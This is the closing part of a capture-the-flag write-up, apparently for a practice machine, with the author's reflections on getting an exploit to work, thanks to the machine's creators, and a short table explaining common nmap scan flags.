As you can see...I got tired of even typing out test.sh and simply called my script t. I almost was about to write another script that would send my files over, chmod +x them, and run the exploit script, but just before I did that the exploit finally worked!
Thanks to polarbearer & GibParadox for creating such a fun and challenging machine. I am grateful that while it involved reverse engineering a C binary file, it did not involve advanced buffer overflows or anything like that (looking at you Rope and Rope2...). I had to learn a number of new things to complete this machine such as writing code in JavaScript and C, both of which I am not that familiar. Overall this was a great challenge and I definitely look forward to more like this!
If you like this content and would like to see more, please consider buying me a coffee!
Flag
Purpose
-p-
A shortcut which tells nmap to scan all ports
-vvv
Gives very verbose output so I can see the results as they are found, and also includes some information not normally shown
-sC
Equivalent to --script=default and runs a collection of nmap enumeration scripts against the target
-sV
Does a service version scan
-oA $name
Saves all three formats (standard, greppable, and XML) of output with a filename of $name